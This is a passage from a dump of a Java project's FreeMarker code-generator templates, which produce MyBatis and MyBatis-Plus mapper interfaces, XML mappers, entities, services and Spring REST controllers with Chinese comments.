    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.*;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    @Select(\"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{id}\")\n    public ${classInfo.className} getById(Integer id);\n\n    @Options(useGeneratedKeys=true,keyProperty=\"${classInfo.className?uncap_first}Id\")\n    @Insert(\"insert into ${classInfo.tableName}\" +\n        \" (<#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>)\" +\n        \" values(<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}<#if fieldItem_has_next>,<#else>)</#if></#list>\")\n    public Integer insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    @Delete(value = \"delete from ${classInfo.tableName} where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id}\")\n    boolean delete(Integer id);\n\n    @Update(value = \"update ${classInfo.tableName} set \"\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"id\">+\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next>,</#if>\"</#if>\n    </#list>\n        +\" where ${classInfo.tableName}_id=井{${classInfo.className?uncap_first}Id} \")\n    boolean update(${classInfo.className} ${classInfo.className?uncap_first});\n\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=井{queryParam}\")\n    ${classInfo.className} selectOne(String queryParam);\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where \"\n    <#list classInfo.fieldList as fieldItem >\n        +\" ${fieldItem.columnName}=井{${fieldItem.fieldName}}<#if fieldItem_has_next> or </#if>\"\n    </#list>\n    )\n    List<${classInfo.className}> selectList(${classInfo.className} ${classInfo.className?uncap_first});\n\n}"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/model.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    public ${classInfo.className}() {\n    }\n\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/mybatis.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <resultMap id=\"BaseResultMap\" type=\"${packageName}.entity.${classInfo.className}Entity\" >\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n            </#list>\n        </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n            </#list>\n        </#if>\n    </sql>\n\n    <insert id=\"insert\" useGeneratedKeys=\"true\" keyColumn=\"id\" keyProperty=\"id\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        INSERT INTO ${classInfo.tableName}\n        <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n        <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                    <#--<#if fieldItem.columnName=\"addtime\" || fieldItem.columnName=\"updatetime\" >\n                    ${r\"<if test ='null != \"}${fieldItem.fieldName}${r\"'>\"}\n                        NOW()<#if fieldItem_has_next>,</#if>\n                    ${r\"</if>\"}\n                    <#else>-->\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    <#--</#if>-->\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n    </insert>\n\n    <delete id=\"delete\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        UPDATE ${classInfo.tableName}\n        <set>\n            <#list classInfo.fieldList as fieldItem >\n                <#if fieldItem.columnName != \"id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n                    <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">${fieldItem.columnName} = ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>${r\"</if>\"}\n                </#if>\n            </#list>\n        </set>\n        WHERE id = ${r\"#{\"}id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pageSize}\"}\n    </select>\n\n    <select id=\"pageListCount\" resultType=\"java.lang.Integer\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/service.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public Object delete(int id);\n\n    /**\n    * 更新\n    */\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 根据主键 id 查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis/service_impl.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n\n\t@Override\n\tpublic Object insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn ${returnUtilFailure}(\"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        return ${returnUtilSuccess}();\n\t}\n\n\n\t@Override\n\tpublic Object delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.delete(id);\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic Object update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Mapper.load(id);\n\t}\n\n\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Mapper.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus/pluscontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.util.ReturnT;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n        }else{\n        if(${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_name\",${classInfo.className?uncap_first}.get${classInfo.className}Name()))!=null){\n            return ${returnUtilFailure}(\"保存失败，名字重复\");\n        }\n        ${classInfo.className?uncap_first}.setCreateTime(new Date());\n        ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"保存成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}Mapper.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n    ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 自动分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"page:\"+page+\"-limit:\"+limit+\"-json:\"+ JSON.toJSONString(searchParams));\n        //分页构造器\n        Page<${classInfo.className}> buildPage = new Page<${classInfo.className}>(page,limit);\n        //条件构造器\n        QueryWrapper<${classInfo.className}> queryWrapper = new QueryWrapper<${classInfo.className}>();\n        if(StringUtils.isNotEmpty(searchParams)&&JSON.isValid(searchParams)) {\n            ${classInfo.className} ${classInfo.className?uncap_first} = JSON.parseObject(searchParams, ${classInfo.className}.class);\n            queryWrapper.eq(StringUtils.isNoneEmpty(${classInfo.className?uncap_first}.get${classInfo.className}Name()), \"${classInfo.className?uncap_first}_name\", ${classInfo.className?uncap_first}.get${classInfo.className}Name());\n        }\n        //执行分页\n        IPage<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.selectPage(buildPage, queryWrapper);\n        //返回结果\n        return ${returnUtil}.PAGE(pageList.getRecords(),pageList.getTotal());\n    }\n    /**\n    * 手工分页查询(按需使用)\n    */\n    /*@PostMapping(\"/list2\")\n    public Object list2(String searchParams,\n    @RequestParam(required = false, defaultValue = \"0\") int page,\n    @RequestParam(required = false, defaultValue = \"10\") int limit) {\n        log.info(\"searchParams:\"+ JSON.toJSONString(searchParams));\n        //通用模式\n        ${classInfo.className} queryParamDTO = JSON.parseObject(searchParams, ${classInfo.className}.class);\n        //专用DTO模式\n        //QueryParamDTO queryParamDTO = JSON.parseObject(searchParams, QueryParamDTO.class);\n        //queryParamDTO.setPage((page - 1)* limit);\n        //queryParamDTO.setLimit(limit);\n        //(page - 1) * limit, limit\n        List<${classInfo.className}> itemList = ${classInfo.className?uncap_first}Mapper.pageAll(queryParamDTO,(page - 1)* limit,limit);\n        Integer itemCount = ${classInfo.className?uncap_first}Mapper.countAll(queryParamDTO);\n        //返回结果\n        return ${returnUtilSuccess}.PAGE(itemList,itemCount);\n    }*/\n    @GetMapping(\"/list\")\n    public ModelAndView listPage(){\n        return new ModelAndView(\"${classInfo.className?uncap_first}-list\");\n    }\n\n    @GetMapping(\"/edit\")\n    public ModelAndView editPage(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        return new ModelAndView(\"${classInfo.className?uncap_first}-edit\",\"${classInfo.className?uncap_first}\",${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 发布/暂停(如不需要请屏蔽)\n    */\n    @PostMapping(\"/publish\")\n    public Object publish(int id,Integer status){\n        ${classInfo.className} ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",id));\n        if(${classInfo.className?uncap_first}!=null){\n            ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n            ${classInfo.className?uncap_first}.setStatus(status);\n            ${classInfo.className?uncap_first}Mapper.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}((status==1)?\"已发布\":\"已暂停\");\n        }else if(status.equals(${classInfo.className?uncap_first}.getStatus())){\n            return ${returnUtilFailure}(\"状态不正确\");\n        }else{\n            return ${returnUtilFailure}();\n        }\n    }\n\n    /**\n    * 执行(如不需要请屏蔽)\n    */\n    @PostMapping(\"/execute\")\n    public Object execute(){\n        return ${returnUtilSuccess};\n    }\n}\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus/plusentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(type = IdType.AUTO)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}() {}\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus/plusmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.apache.ibatis.annotations.Select;\nimport ${packageName}.entity.${classInfo.className};\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends BaseMapper<${classInfo.className}> {\n\n    @Select(\n    \"<script>select t0.* from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n    //add here if need page limit\n    //\" limit ￥{page},￥{limit} \" +\n    \" </script>\")\n    List<${classInfo.className}> pageAll(${classInfo.className} queryParamDTO,int page,int limit);\n\n    @Select(\"<script>select count(1) from ${classInfo.tableName} t0 \" +\n    //add here if need left join\n    \"where 1=1\" +\n    <#list classInfo.fieldList as fieldItem >\n    \"<when test='${fieldItem.fieldName}!=null and ${fieldItem.fieldName}!=&apos;&apos; '> and t0.${fieldItem.columnName}=井{${fieldItem.fieldName}}</when> \" +\n    </#list>\n     \" </script>\")\n    int countAll(${classInfo.className} queryParamDTO);\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus/plusservice.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport com.baomidou.mybatisplus.extension.service.IService;\n</#if>\n/**\n * @description ${classInfo.classComment}服务层\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic interface ${classInfo.className}Service extends IService<${classInfo.className}> {\n\n\n\n}\n"
  },
  {
    "path": "java_project_template/jun_api_service_simple/src/main/resources/templates/code-generator/mybatis-plus-single/controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.vo.${classInfo.className}Vo;\nimport ${packageName}.dto.${classInfo.className}Dto;\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\n//import com.bjc.lcp.common.cnt.enums.CntTableNameEnum;\n//import com.bjc.lcp.common.cnt.service.CntService;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.validation.annotation.Validated;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport org.springframework.beans.BeanUtils;\nimport org.springframework.util.ObjectUtils;\n<#--import org.apache.shiro.authz.annotation.RequiresPermissions;-->\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\nimport com.jun.plugin.common.Result;\nimport javax.annotation.Resource;\nimport java.util.Arrays;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @Version666\n* @description ${classInfo.classComment}\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Api(tags = \"${classInfo.classComment}-管理\")\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n    \n    @Resource\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n    \n    @ApiOperation(value = \"${classInfo.classComment}-新增\")\n    @PostMapping(\"/add\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:add\")\n    public Result add(@Validated(${classInfo.className}Vo.Create.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.nullable==true>\n        if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n            return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n        }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        List<${classInfo.className}Entity> list = ${classInfo.className?uncap_first}Service.list(queryWrapper);\n        if (list.size() > 0) {\n            return Result.fail(\"数据已存在\");\n        }\n        ${classInfo.className}Entity entity = new ${classInfo.className}Entity();\n        \n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.save(entity));\n    }\n    \n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/remove\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:remove\")\n    public Result delete(@Validated(${classInfo.className}Vo.Delete.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        return Result.success(${classInfo.className?uncap_first}Service.remove(queryWrapper));\n    }\n\n    @ApiOperation(value = \"${classInfo.classComment}-删除\")\n    @DeleteMapping(\"/delete\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:delete\")\n    public Result delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        return Result.success(${classInfo.className?uncap_first}Service.removeByIds(ids));\n    }\n\n\n    @ApiOperation(value = \"${classInfo.classComment}-更新\")\n    @PutMapping(\"/update\")\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:update\")\n    public Result update(@Validated(${classInfo.className}Vo.Update.class) @RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        if (entity == null) {\n            //return Result.fail(\"数据不存在\");\n            entity = new ${classInfo.className}Entity();\n        }\n        BeanUtils.copyProperties(dto, entity);\n        return Result.success(${classInfo.className?uncap_first}Service.saveOrUpdate(entity));\n    }\n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询单条\")\n    @RequestMapping(value = \"/getOne\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:getOne\")\n    public Result getOne(@RequestBody ${classInfo.className}Vo vo) {\n    \t${classInfo.className}Dto dto = new ${classInfo.className}Dto();\n    \tBeanUtils.copyProperties(vo, dto);\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n         if (ObjectUtils.isEmpty(dto.get${fieldItem.fieldName?cap_first}())) {\n              return Result.fail(\"参数[${fieldItem.fieldName}]不能为空\");\n         }\n</#if>\n</#list>\n</#if>\n        LambdaQueryWrapper<${classInfo.className}Entity> queryWrapper = Wrappers.lambdaQuery();\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n<#if fieldItem.isPrimaryKey==true>\n        queryWrapper.eq(${classInfo.className}Entity::get${fieldItem.fieldName?cap_first}, dto.get${fieldItem.fieldName?cap_first}());\n</#if>\n</#list>\n</#if>\n        ${classInfo.className}Entity entity = ${classInfo.className?uncap_first}Service.getOne(queryWrapper);;\n        return Result.success(entity);\n    }\n    \n    \n\n\n    @ApiOperation(value = \"${classInfo.classComment}-查询列表分页数据\")\n    @RequestMapping(value = \"/listByPage\",method = {RequestMethod.GET,RequestMethod.POST})\n    //@RequiresPermissions(\"${classInfo.className?uncap_first}:listByPage\")\n    public Result listByPage(@RequestBody ${classInfo.className}Vo 